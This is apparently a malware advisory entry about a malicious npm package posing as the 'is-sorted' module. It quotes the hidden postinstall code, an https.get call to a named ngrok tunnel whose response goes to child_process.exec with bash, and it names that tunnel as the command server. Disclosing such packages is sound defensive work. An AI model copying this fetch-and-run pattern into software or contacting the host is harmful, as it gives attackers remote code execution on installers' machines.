GCVE-110-OSM-2026-1180

Downloads and executes an arbitrary shell script from attacker-controlled ngrok tunnel (reunionistic-keagan-unfestively.ngrok-free.dev/rev.sh) via postinstall, running with detached child process. Masquerades as the legitimate is-sorted module. Identical attack pattern to trgrip@1.0.4. postinstall runs index.js. The file wraps a legitimate array-sorting function as cover, but calls https.get('https://reunionistic-keagan-unfestively.ngrok-free.dev/rev.sh') and passes the response to child_process.exec('bash -c "${s}"', {detached:true}). Same ngrok C2 as trgrip@1.0.4.